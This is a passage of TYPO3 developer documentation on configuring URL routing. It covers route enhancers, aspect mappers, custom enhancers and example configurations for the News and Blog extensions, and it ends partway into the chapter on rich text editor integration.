jsonview = PAGE
jsonview.typeNum = 26
jsonview.config.disableAllHeaderCode = 1
jsonview.config.additionalHeaders.10.header = Content-Type: application/json
jsonview.10 = USER
jsonview.10.userFunc = MyVendor\MyExtension\Controller\JsonPageController->renderAction
Copied!

Now we configure the enhancer in your site's config.yaml file like this:

routeEnhancers:
  PageTypeSuffix:
    type: PageType
    default: ''
    map:
      'rss.feed': 13
      '.json': 26
Copied!

The map allows to add a filename or a file ending and map this to a page.typeNum value.

It is also possible to set default, for example to .html to add a ".html" suffix to all default pages:

routeEnhancers:
  PageTypeSuffix:
    type: PageType
    default: '.html'
    index: 'index'
    map:
      'rss.feed': 13
      '.json': 26
Copied!

The index property is used when generating links on root-level page, so instead of having /en/.html it would then result in /en/index.html.

Aspects

Now that we have looked at how to transform a route to a page by using arguments inserted into a URL, we will look at aspects. An aspect handles the detailed logic within placeholders. The most common part of an aspect is called a mapper. For example, parameter {news}, is a UID within TYPO3, and is mapped to the current news slug, which is a field within the database table containing the cleaned/sanitized title of the news (for example, "software-updates-2022" maps to news ID 10).

An aspect is a way to modify, beautify or map an argument into a placeholder. That's why the terms "mapper" and "modifier" will pop up, depending on the different cases.

Aspects are registered within a single enhancer configuration with the option aspects and can be used with any enhancer.

Let us start with some examples first:

StaticValueMapper

The static value mapper replaces values on a 1:1 mapping list of an argument into a speaking segment, useful for a checkout process to define the steps into "cart", "shipping", "billing", "overview" and "finish", or in another example to create human-readable segments for all available months.

The configuration could look like this:

routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    defaults:
      month: ''
    aspects:
      month:
        type: StaticValueMapper
        map:
          january: 1
          february: 2
          march: 3
          april: 4
          may: 5
          june: 6
          july: 7
          august: 8
          september: 9
          october: 10
          november: 11
          december: 12
Copied!

You see the placeholder month where the aspect replaces the value to a human-readable URL path segment.

It is possible to add an optional localeMap to that aspect to use the locale of a value to use in multi-language setups:


routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    defaults:
      month: ''
    aspects:
      month:
        type: StaticValueMapper
        map:
          january: 1
          february: 2
          march: 3
          april: 4
          may: 5
          june: 6
          july: 7
          august: 8
          september: 9
          october: 10
          november: 11
          december: 12
        localeMap:
          - locale: 'de_.*'
            map:
              januar: 1
              februar: 2
              maerz: 3
              april: 4
              mai: 5
              juni: 6
              juli: 7
              august: 8
              september: 9
              oktober: 10
              november: 11
              dezember: 12
Copied!

LocaleModifier

If we have an enhanced route path such as /archive/{year}/{month} it should be possible in multi-language setups to change /archive/ depending on the language of the page. This modifier is a good example where a route path is modified, but not affected by arguments.

The configuration could look like this:

routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{localized_archive}/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    aspects:
      localized_archive:
        type: LocaleModifier
        default: 'archive'
        localeMap:
          - locale: 'fr_FR.*|fr_CA.*'
            value: 'archives'
          - locale: 'de_DE.*'
            value: 'archiv'
Copied!

This aspect replaces the placeholder localized_archive depending on the locale of the language of that page.

StaticRangeMapper

A static range mapper allows to avoid the cHash and narrow down the available possibilities for a placeholder. It explicitly defines a range for a value, which is recommended for all kinds of pagination functionality.

routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/list/{page}', _controller: 'News::list', _arguments: {'page': '@widget_0/currentPage'} }
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
Copied!

This limits down the pagination to a maximum of 100 pages. If a user calls the news list with page 101, the route enhancer does not match and would not apply the placeholder.

PersistedAliasMapper

If an extension ships with a slug field or a different field used for the speaking URL path, this database field can be used to build the URL:

routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/detail/{news_title}', _controller: 'News::detail', _arguments: {'news_title': 'news'} }
    defaultController: 'News::detail'
    aspects:
      news_title:
        type: PersistedAliasMapper
        tableName: 'tx_news_domain_model_news'
        routeFieldName: 'path_segment'
        routeValuePrefix: '/'
Copied!

The persisted alias mapper looks up the table and the field to map the given value to a URL. The property tableName points to the database table, the property routeFieldName is the field which will be used within the route path, in this example path_segment.

The special routeValuePrefix is used for TCA type slug fields where the prefix / is within all fields of the field names, which should be removed in the case above.

If a field is used for routeFieldName that is not prepared to be put into the route path, e.g. the news title field, you must ensure that this is unique and suitable for the use in an URL. On top, special characters like spaces will not be converted automatically. Therefore, usage of a slug TCA field is recommended.

PersistedPatternMapper

When a placeholder should be fetched from multiple fields of the database, the persisted pattern mapper is for you. It allows to combine various fields into one variable, ensuring a unique value, for example by adding the UID to the field without having the need of adding a custom slug field to the system.

routeEnhancers:
  Blog:
    type: Extbase
    limitToPages: [13]
    extension: BlogExample
    plugin: Pi1
    routes:
      - { routePath: '/blog/{blogpost}', _controller: 'Blog::detail', _arguments: {'blogpost': 'post'} }
    defaultController: 'Blog::detail'
    aspects:
      blogpost:
        type: PersistedPatternMapper
        tableName: 'tx_blogexample_domain_model_post'
        routeFieldPattern: '^(?P<title>.+)-(?P<uid>\d+)$'
        routeFieldResult: '{title}-{uid}'
Copied!

The routeFieldPattern option builds the title and uid fields from the database, the routeFieldResult shows how the placeholder will be output. However, as mentioned above special characters in the title might still be a problem. The persisted pattern mapper might be a good choice if you are upgrading from a previous version and had URLs with an appended UID for uniqueness.

Aspect precedence

Route requirements are ignored for route variables having a corresponding setting in aspects. Imagine an aspect that is mapping an internal value 1 to route value one and vice versa - it is not possible to explicitly define the requirements for this case - which is why aspects take precedence.

The following example illustrates the mentioned dilemma between route generation and resolving:

routeEnhancers:
  MyPlugin:
    type: 'Plugin'
    namespace: 'my'
    routePath: 'overview/{month}'
    requirements:
      # note: it does not make any sense to declare all values here again
      month: '^(\d+|january|february|march|april|...|december)$'
    aspects:
      month:
        type: 'StaticValueMapper'
        map:
          january: '1'
          february: '2'
          march: '3'
          april: '4'
          may: '5'
          june: '6'
          july: '7'
          august: '8'
          september: '9'
          october: '10'
          november: '11'
          december: '12'
Copied!

The map in the previous example is already defining all valid values. That is why aspects take precedence over requirements for a specific routePath definition.

Aspect fallback value handling

Imagine a route like /news/{news_title} that has been filled with an "invalid" value for the news_title part. Often these are outdated, deleted or hidden records. Usually TYPO3 reacts to these "invalid" URL sections at a very early stage with an HTTP status code "404" (resource not found).

The property fallbackValue = [string|null] can prevent the above scenario in several ways. By specifying an alternative value, a different record, language or other detail can be represented. Specifying null removes the corresponding parameter from the route result. In this way, it is up to the developer to react accordingly.

In the case of Extbase extensions, the developer can define the parameters in his calling controller action as nullable and deliver corresponding flash messages that explain the current scenario better than a "404" HTTP status code.

Examples

routeEnhancers:
  NewsPlugin:
    type: Extbase
    extension: News
    plugin: Pi1
    routes:
      - routePath: '/detail/{news_title}'
        _controller: 'News::detail'
        _arguments:
          news_title: 'news'
    aspects:
      news_title:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_news
        routeFieldName: path_segment

        # A string value leads to parameter `&tx_news_pi1[news]=0`
        fallbackValue: '0'

        # A null value leads to parameter `&tx_news_pi1[news]` being removed
        # fallbackValue: null
Copied!

Custom mapper implementations can incorporate this behavior by implementing the \TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueInterface which is provided by \TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueTrait :

EXT:my_extension/Classes/Routing/Enhancer/MyCustomEnhancer.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Routing;

use TYPO3\CMS\Core\Routing\Aspect\MappableAspectInterface;
use TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueInterface;
use TYPO3\CMS\Core\Routing\Aspect\UnresolvedValueTrait;

final class MyCustomEnhancer implements MappableAspectInterface, UnresolvedValueInterface
{
    use UnresolvedValueTrait;

    public function generate(string $value): ?string
    {
        // TODO: Implement generate() method.
    }

    public function resolve(string $value): ?string
    {
        // TODO: Implement resolve() method.
    }
}
Copied!

In another example we handle the null value in an Extbase show action separately, for instance, to redirect to the list page:

EXT:my_extension/Classes/Controller/MyController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\MyModel;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

class MyController extends ActionController
{
    public function showAction(?MyModel $myModel = null): ResponseInterface
    {
        if ($myModel === null) {
            return $this->redirect('somethingElse');
        }

        return $this->htmlResponse();
    }
}
Copied!

Behind the Scenes

While accessing a page in TYPO3 in the frontend, all arguments are currently built back into the global GET parameters, but are also available as so-called \TYPO3\CMS\Core\Routing\PageArguments object. The PageArguments object is then used to sign and verify the parameters, to ensure that they are valid, when handing them further down the frontend request chain.

If there are dynamic parameters (= parameters which are not strictly limited), a verification GET parameter cHash is added, which can and should not be removed from the URL. The concept of manually activating or deactivating the generation of a cHash is not optional anymore, but strictly built-in to ensure proper URL handling. If you really have the requirement to not have a cHash argument, ensure that all placeholders are having strict definitions on what could be the result of the page segment (e.g. pagination), and feel free to build custom mappers.

All existing APIs like typolink or functionality evaluate the page routing API directly.

Extending Routing

The TYPO3 Routing is extendable by design, so you can write both custom aspects as well as custom enhancers.

  • You should write a custom enhancer if you need to manipulate how the full route looks like and gets resolved.
  • You should write a custom aspect if you want to manipulate how a single route parameter ("variable") gets mapped and resolved.

Writing custom aspects

Custom aspects can either be modifiers or mappers. A modifier provides static modifications to a route path based on a given context (for example "language"). A mapper provides a mapping table (either a static table or one with dynamic values from the database).

All aspects derive from the interface \TYPO3\CMS\Core\Routing\Aspect\AspectInterface .

To write a custom modifier, your aspect has to extend \TYPO3\CMS\Core\Routing\Aspect\ModifiableAspectInterface and implement the modify method (see \TYPO3\CMS\Core\Routing\Aspect\LocaleModifier as example).

To write a custom mapper, your aspect should either implement \TYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface or \TYPO3\CMS\Core\Routing\Aspect\PersistedMappableAspectInterface , depending on whether you have a static or dynamic mapping table. The latter interface is used for mappers that need more expensive - for example database related - queries as execution is deferred to improve performance.

All mappers need to implement the methods generate and resolve. The first one is used on URL generation, the second one on URL resolution.

After implementing the matching interface, your aspect needs to be registered in ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Routing\Aspect\MyCustomMapper;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['aspects']['MyCustomMapperNameAsUsedInYamlConfig'] =
    MyCustomMapper::class;
Copied!

It can now be used in the routing configuration as type. The example above could be used as type: MyCustomMapperNameAsUsedInYamlConfig.

If your aspect is language aware, it should additionally implement SiteLanguageAwareInterface with the methods setSiteLanguage(Entity\SiteLanguage $siteLanguage) and getSiteLanguage(). setSiteLanguage will automatically be called with the current site language object.

Writing custom enhancers

Enhancers can be either decorators or routing enhancers providing variants for a page.

  • To write a custom decorator your enhancer should implement the \TYPO3\CMS\Core\Routing\Enhancer\DecoratingEnhancerInterface .
  • To write a custom route enhancer your enhancer should implement both \TYPO3\CMS\Core\Routing\Enhancer\RoutingEnhancerInterface and \TYPO3\CMS\Core\Routing\Enhancer\ResultingInterface

The interfaces contain methods you need to implement as well as a description of what the methods are supposed to do. Please take a look there.

To register the enhancer, add the following to your ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Routing\Enhancer\MyCustomEnhancer;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['enhancers']['MyCustomEnhancerAsUsedInYaml']
    = MyCustomEnhancer::class;
Copied!

Now you can use your new enhancer in the routing configuration as type. The example above could be used as type: MyCustomEnhancerAsUsedInYaml.

Manipulating generated slugs

The "slug" TCA type includes a possibility to hook into the generation of a slug via custom TCA generation options.

Hooks can be registered via

$GLOBALS['TCA'][$tableName]['columns'][$fieldName]['config']['generatorOptions']['postModifiers'][] = My\Class::class . '->method';
Copied!

in EXT:myextension/Configuration/TCA/Overrides/table.php, where $tableName can be a table like pages and $fieldName matches the slug field name, e.g. slug.

$GLOBALS['TCA']['pages']['columns']['slug']['config']['generatorOptions']['postModifiers'][] = My\Class::class . '->modifySlug';
Copied!

The method then receives an parameter array with the following values:

 [
     'slug' ... the slug to be used
     'workspaceId' ... the workspace ID, "0" if in live workspace
     'configuration' ... the configuration of the TCA field
     'record' ... the full record to be used
     'pid' ... the resolved parent page ID
     'prefix' ... the prefix that was added
     'tableName' ... the table of the slug field
     'fieldName' ... the field name of the slug field
];
Copied!

All hooks need to return the modified slug value.

Any extension can modify a specific slug, for instance only for a specific part of the page tree.

It is also possible for extensions to implement custom functionality like "Do not include in slug generation" as known from RealURL.

Collection of various routing examples

EXT: News

Prerequisites:

The plugins for list view and detail view are on separate pages. If you use the category menu or tag list plugins to filter news records, their titles (slugs) are used.

Result:

  • Detail view: https://example.org/news/detail/the-news-title
  • Pagination: https://example.org/news/page-2
  • Category filter: https://example.org/news/my-category
  • Tag filter: https://example.org/news/my-tag
config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  News:
    type: Extbase
    extension: News
    plugin: Pi1
    routes:
      - routePath: '/page-{page}'
        _controller: 'News::list'
        _arguments:
          page: currentPage
      - routePath: '/{news-title}'
        _controller: 'News::detail'
        _arguments:
          news-title: news
      - routePath: '/{category-name}'
        _controller: 'News::list'
        _arguments:
          category-name: overwriteDemand/categories
      - routePath: '/{tag-name}'
        _controller: 'News::list'
        _arguments:
          tag-name: overwriteDemand/tags
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      news-title:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_news
        routeFieldName: path_segment
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
      category-name:
        type: PersistedAliasMapper
        tableName: sys_category
        routeFieldName: slug
      tag-name:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_tag
        routeFieldName: slug
Copied!

For more examples and background information see the routing examples in the "News" manual.

EXT: Blog with custom aspect

Taken from https://typo3.com routing configuration and the blog extension.

Blog Archive:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  BlogArchive:
    type: Extbase
    extension: Blog
    plugin: Archive
    routes:
      -
        routePath: '/{year}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
      -
        routePath: '/{year}/page-{page}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          page: '@widget_0/currentPage'
      -
        routePath: '/{year}/{month}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          month: month
      -
        routePath: '/{year}/{month}/page-{page}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          month: month
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByDate'
    aspects:
      year:
        type: BlogStaticDatabaseMapper
        table: 'pages'
        field: 'crdate_year'
        groupBy: 'crdate_year'
        where:
        doktype: 137
      month:
        type: StaticValueMapper
        map:
        january: 1
        february: 2
        march: 3
        april: 4
        may: 5
        june: 6
        july: 7
        august: 8
        september: 9
        october: 10
        november: 11
        december: 12
        localeMap:
          -
            locale: 'de_.*'
            map:
            januar: 1
            februar: 2
            maerz: 3
            april: 4
            mai: 5
            juni: 6
            juli: 7
            august: 8
            september: 9
            oktober: 10
            november: 11
            dezember: 12
          -
            locale: 'fr_.*'
            map:
            janvier: 1
            fevrier: 2
            mars: 3
            avril: 4
            mai: 5
            juin: 6
            juillet: 7
            aout: 8
            septembre: 9
            octobre: 10
            novembre: 11
            decembre: 12
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Posts by Author:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  AuthorPosts:
    type: Extbase
    extension: Blog
    plugin: AuthorPosts
    routes:
      -
        routePath: '/{author_title}'
        _controller: 'Post::listPostsByAuthor'
        _arguments:
          author_title: author
      -
        routePath: '/{author_title}/page-{page}'
        _controller: 'Post::listPostsByAuthor'
        _arguments:
          author_title: author
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByAuthor'
    aspects:
      author_title:
        type: PersistedAliasMapper
        tableName: 'tx_blog_domain_model_author'
        routeFieldName: 'slug'
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Category pages:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  BlogCategory:
    type: Extbase
    extension: Blog
    plugin: Category
    routes:
      -
        routePath: '/{category_title}'
        _controller: 'Post::listPostsByCategory'
        _arguments:
          category_title: category
      -
        routePath: '/{category_title}/page-{page}'
        _controller: 'Post::listPostsByCategory'
        _arguments:
          category_title: category
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByCategory'
    aspects:
      category_title:
        type: PersistedAliasMapper
        tableName: sys_category
        routeFieldName: 'slug'
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Blog Feeds:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  PageTypeSuffix:
    type: PageType
    map:
      'blog.recent.xml': 200
      'blog.category.xml': 210
      'blog.tag.xml': 220
      'blog.archive.xml': 230
      'blog.comments.xml': 240
      'blog.author.xml': 250
Copied!

Blog Posts:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  BlogPosts:
    type: Extbase
    extension: Blog
    plugin: Posts
    routes:
      -
        routePath: '/page-{page}'
        _controller: 'Post::listRecentPosts'
        _arguments:
          page: '@widget_0/currentPage'
    defaultController: 'Post::listRecentPosts'
    aspects:
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Posts by Tag:

config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  BlogTag:
    type: Extbase
    extension: Blog
    plugin: Tag
    routes:
      -
        routePath: '/{tag_title}'
        _controller: 'Post::listPostsByTag'
        _arguments:
          tag_title: tag
      -
        routePath: '/{tag_title}/page-{page}'
        _controller: 'Post::listPostsByTag'
        _arguments:
          tag_title: tag
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByTag'
    aspects:
      tag_title:
        type: PersistedAliasMapper
        tableName: tx_blog_domain_model_tag
        routeFieldName: 'slug'
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

BlogStaticDatabaseMapper:

packages/my_extension/Classes/Routing/Aspect/StaticDatabaseMapper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Routing\Aspect;

use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class StaticDatabaseMapper implements StaticMappableAspectInterface, \Countable
{
    protected array $settings;
    protected string $field;
    protected string $table;
    protected string $groupBy;
    protected array $where;
    protected array $values;

    public function __construct(array $settings)
    {
        $field = $settings['field'] ?? null;
        $table = $settings['table'] ?? null;
        $where = $settings['where'] ?? [];
        $groupBy = $settings['groupBy'] ?? '';

        if (!is_string($field)) {
            throw new \InvalidArgumentException('field must be string', 1550156808);
        }
        if (!is_string($table)) {
            throw new \InvalidArgumentException('table must be string', 1550156812);
        }
        if (!is_string($groupBy)) {
            throw new \InvalidArgumentException('groupBy must be string', 1550158149);
        }
        if (!is_array($where)) {
            throw new \InvalidArgumentException('where must be an array', 1550157442);
        }

        $this->settings = $settings;
        $this->field = $field;
        $this->table = $table;
        $this->where = $where;
        $this->groupBy = $groupBy;
        $this->values = $this->buildValues();
    }

    public function count(): int
    {
        return count($this->values);
    }

    public function generate(string $value): ?string
    {
        return $this->respondWhenInValues($value);
    }

    public function resolve(string $value): ?string
    {
        return $this->respondWhenInValues($value);
    }

    protected function respondWhenInValues(string $value): ?string
    {
        if (in_array($value, $this->values, true)) {
            return $value;
        }
        return null;
    }

    /**
     * Builds range based on given settings and ensures each item is string.
     * The amount of items is limited to 1000 in order to avoid brute-force
     * scenarios and the risk of cache-flooding.
     *
     * In case that is not enough, creating a custom and more specific mapper
     * is encouraged. Using high values that are not distinct exposes the site
     * to the risk of cache-flooding.
     *
     * @return string[]
     * @throws \LengthException
     */
    protected function buildValues(): array
    {
        $queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)
            ->getQueryBuilderForTable($this->table);

        $queryBuilder
            ->select($this->field)
            ->from($this->table);

        if ($this->groupBy !== '') {
            $queryBuilder->groupBy($this->groupBy);
        }

        if (!empty($this->where)) {
            foreach ($this->where as $key => $value) {
                $queryBuilder->andWhere($key, $queryBuilder->createNamedParameter($value));
            }
        }

        return array_map('strval', array_column($queryBuilder->executeQuery()->fetchAllAssociative(), $this->field));
    }
}
Copied!

Usage with imports

On typo3.com we are using imports to make routing configurations easier to manage:

config/my_site/config.yaml (excerpt)
# ...
imports:
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogCategory.yaml" }
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogTag.yaml" }
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogArchive.yaml" }
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogAuthorPosts.yaml" }
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogFeedWidget.yaml" }
  - { resource: "EXT:my_extension/Configuration/Routes/Blog/BlogPosts.yaml" }
Copied!

Full project example config

Taken from an anonymous live project:

config/my_site/config.yaml (excerpt)
# ...

routeEnhancers:
  news:
    type: Extbase
    extension: mynews
    plugin: mynews
    routes:
      - routePath: '/news/detail/{news}'
        _controller: 'News::show'
        _arguments:
          news: 'news'

      - routePath: '/search-result/{searchFormHash}'
        _controller: 'News::list'
        _arguments:
          searchForm: 'searchFormHash'
    defaultController: 'News::show'
    aspects:
      news:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_mynews_domain_model_news'
        routeFieldName: slug
        valueFieldName: uid
  videos:
    type: Extbase
    extension: myvideos
    plugin: myvideos
    routes:
      -
        routePath: '/video-detail/detail/{videos}'
        _controller: 'Videos::show'
        _arguments:
          videos: videos
      -
        routePath: '/search-result/{searchFormHash}'
        _controller: 'Videos::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Videos::show'
    aspects:
      videos:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myvideos_domain_model_videos'
        routeFieldName: slug
        valueFieldName: uid
  discipline:
    type: Extbase
    extension: myvideos
    plugin: overviewlist
    routes:
      -
        routePath: '/video-uebersicht/disziplin/{discipline}'
        _controller: 'Overview::discipline'
        _arguments:
          discipline: discipline
    defaultController: 'Overview::discipline'
    aspects:
      discipline:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_mytaxonomy_domain_model_discipline'
        routeFieldName: slug
        valueFieldName: uid
  events:
    type: Extbase
    extension: myapidata
    plugin: events
    routes:
      -
        routePath: '/events/detail/{uid}'
        _controller: 'Events::showByUid'
        _arguments:
          uid: uid
      -
        routePath: '/events/search-result/{searchFormHash}'
        _controller: 'Events::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Events::showByUid'
    aspects:
      uid:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myapidata_domain_model_event'
        routeFieldName: slug
        valueFieldName: uid
  results:
    type: Extbase
    extension: myapidata
    plugin: results
    routes:
      -
        routePath: '/resultset/detail/{uid}'
        _controller: 'Results::showByUid'
        _arguments:
          uid: uid
      -
        routePath: '/resultset/search-result/{searchFormHash}'
        _controller: 'Results::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Results::showByUid'
    aspects:
    uid:
      routeValuePrefix: ''
      type: PersistedAliasMapper
      tableName: 'tx_myapidata_domain_model_event'
      routeFieldName: slug
      valueFieldName: uid
  teams:
    type: Extbase
    extension: myapidata
    plugin: teams
    routes:
      -
        routePath: '/detail/{team}'
        _controller: 'Team::show'
        _arguments:
          team: team
      -
        routePath: '/player/result/{searchFormHash}'
        _controller: 'Team::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Team::show'
    aspects:
      team:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myapidata_domain_model_team'
        routeFieldName: slug
        valueFieldName: uid
  moreLoads:
    type: PageType
    map:
      'videos/events/videos.json': 1381404385
      'videos/categories/videos.json': 1381404386
      'videos/favorites/videos.json': 1381404389
      'videos/newest/videos.json': 1381404390
Copied!

EXT: DpnGlossary

Prerequisites:

  • The plugin for list view and detail view is added on one page.
  • The StaticMultiRangeMapper (a custom mapper) is available in the project.

Result:

  • List view: https://example.org/<YOUR_PLUGINPAGE_SLUG>
  • Detail view: https://example.org/<YOUR_PLUGINPAGE_SLUG>/term/the-term-title
config/my_site/config.yaml (excerpt)
# ...
routeEnhancers:
  DpnGlossary:
    type: Extbase
    limitToPages: 42, 86
    extension: DpnGlossary
    plugin: glossary
    routes:
      - { routePath: '/{character}', _controller: 'Term::list', _arguments: {'character': '@widget_0/character'} }
      - { routePath: '/{localized_term}/{term_name}', _controller: 'Term::show', _arguments: {'term_name': 'term'} }
    defaultController: 'Term::list'
    defaults:
      character: ''
    aspects:
      term_name:
        type: PersistedAliasMapper
        tableName: 'tx_dpnglossary_domain_model_term'
        routeFieldName: 'url_segment'
      character:
        type: StaticMultiRangeMapper
        ranges:
          - start: 'A'
            end: 'Z'
      localized_term:
        type: LocaleModifier
        default: 'term'
        localeMap:
          - locale: 'de_DE.*'
            value: 'begriff'
Copied!

Taken from dpn_glossary extension manual.

Rich text editors (RTE)

This chapter contains general information about Rich Text Editors (RTE) in TYPO3, how they are integrated in the TYPO3 Backend and what transformations get applied along the various processes (saving to the database, rendering to the frontend, etc.)

CKEditor rich text editor

TYPO3 comes with the system extension typo3/cms-rte-ckeditor "CKEditor Rich Text Editor" which integrates CKEditor functionality into the Core for editing of rich text content.

Rendering RTE content in the Frontend

The explanations on this page don't show how to display an RTE but rather, describe how rendering of content should be done in the frontend when it was entered with help of an RTE.

Fluid templates

Rich text editors enrich content with HTML and pseudo HTML (for example a special link syntax). You should therefore always render the output of a RTE field with the Format.html ViewHelper <f:format.html>:

packages/my_extension/Resources/Private/Templates/MyContentElement.html
<f:format.html>{data.bodytext}</f:format.html>
Copied!

TypoScript

Rendering is sometimes done by TypoScript only, in those cases it is possible to use lib.parseFunc_RTE for parsing and rendering (see also TypoScript function parseFunc):

For example to render the bodytext filed of table tt_content without Fluid:

packages/my_extension/Configuration/Sets/MySet/setup.typoscript
tt_content.my_content_element = TEXT
tt_content.my_content_element {
  field = bodytext
  wrap = <p>|</p>
  stdWrap.parseFunc < lib.parseFunc_RTE
}
Copied!

Usually the TypoScript function typolink should be used for single links, but for text that might include several links that is not possible easily. Therefore lib.parseFunc_RTE is used to simplify and streamline this process.

Details to parseFunc can be found in the TypoScript Reference:

Rich text editors in the TYPO3 backend

When you configure a table in $TCA and add a field of the type text you can configure

The rtehtmlarea RTE activated in the TYPO3 backend

For full details about setting up a field to use an RTE, please refer to the chapter labeled 'special-configuration-options' in older versions of the TCA Reference.

The short story is that it's enough to set the key enableRichtext to true.

packages/my_extension/Configuration/TCA/tx_myextension_table.php
<?php

return [
    //...
    'columns' => [
        'rte_5' => [
            'label' => 'RTE Example',
            'config' => [
                'type' => 'text',
                'enableRichtext' => true,
                'richtextConfiguration' => 'full',
            ],
        ],
    ],
];
Copied!

This works for FlexForms too:

packages/my_extension/Configuration/FlexForms/MyPlugin.php
<poem>
    <label>RTE Example (Flexform)</label>
    <config>
        <type>text</type>
        <enableRichtext>true</enableRichtext>
        <richtextConfiguration>full</richtextConfiguration>
    </config>
</poem>
Copied!

Plugging in a custom RTE

TYPO3 supports any Rich Text Editor for which someone might write a connector to the RTE API. This means that you can freely choose whatever RTE you want to use among those available from the Extension Repository on typo3.org.

TYPO3 comes with a built-in RTE called "ckeditor", but other RTEs are available in the TYPO3 Extension Repository and you can implement your own RTE if you like.

API for rich text editors

Connecting an RTE in an extension to TYPO3 is easy. The following example is based on the implementation of ext:rte_ckeditor.

  • In the ext_localconf.php you can use the FormEngine's NodeResolver to implement your own RichTextNodeResolver and give it a higher priority than the Core's implementation:

    EXT:my_extension/ext_localconf.php
    <?php
    
    declare(strict_types=1);
    
    use MyVendor\MyExtension\Form\Resolver\RichTextNodeResolver;
    
    defined('TYPO3') or die();
    
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeResolver'][1593194137] = [
        'nodeName' => 'text',
        'priority' => 50, // rte_ckeditor uses priority 50
        'class' => RichTextNodeResolver::class,
    ];
    
    Copied!
  • Now create the class \MyVendor\MyExtension\Form\Resolver\RichTextNodeResolver. The RichTextNodeResolver needs to implement the NodeResolverInterface and the major parts happen in the resolve() function, where, if all conditions are met, the RichTextElement class name is returned:

    \MyVendor\MyExtension\Form\Resolver\RichTextNodeResolver
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Form\Resolver;
    
    use MyVendor\MyExtension\Form\Element\RichTextElement;
    use TYPO3\CMS\Backend\Form\NodeFactory;
    use TYPO3\CMS\Backend\Form\NodeResolverInterface;
    use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
    
    /**
     * This resolver will return the RichTextElement render class if RTE is enabled for this field.
     */
    class RichTextNodeResolver implements NodeResolverInterface
    {
        /**
         * Global options from NodeFactory
         */
        protected array $data;
    
        /**
         * Default constructor receives full data array
         */
        public function __construct(NodeFactory $nodeFactory, array $data)
        {
            $this->data = $data;
        }
    
        /**
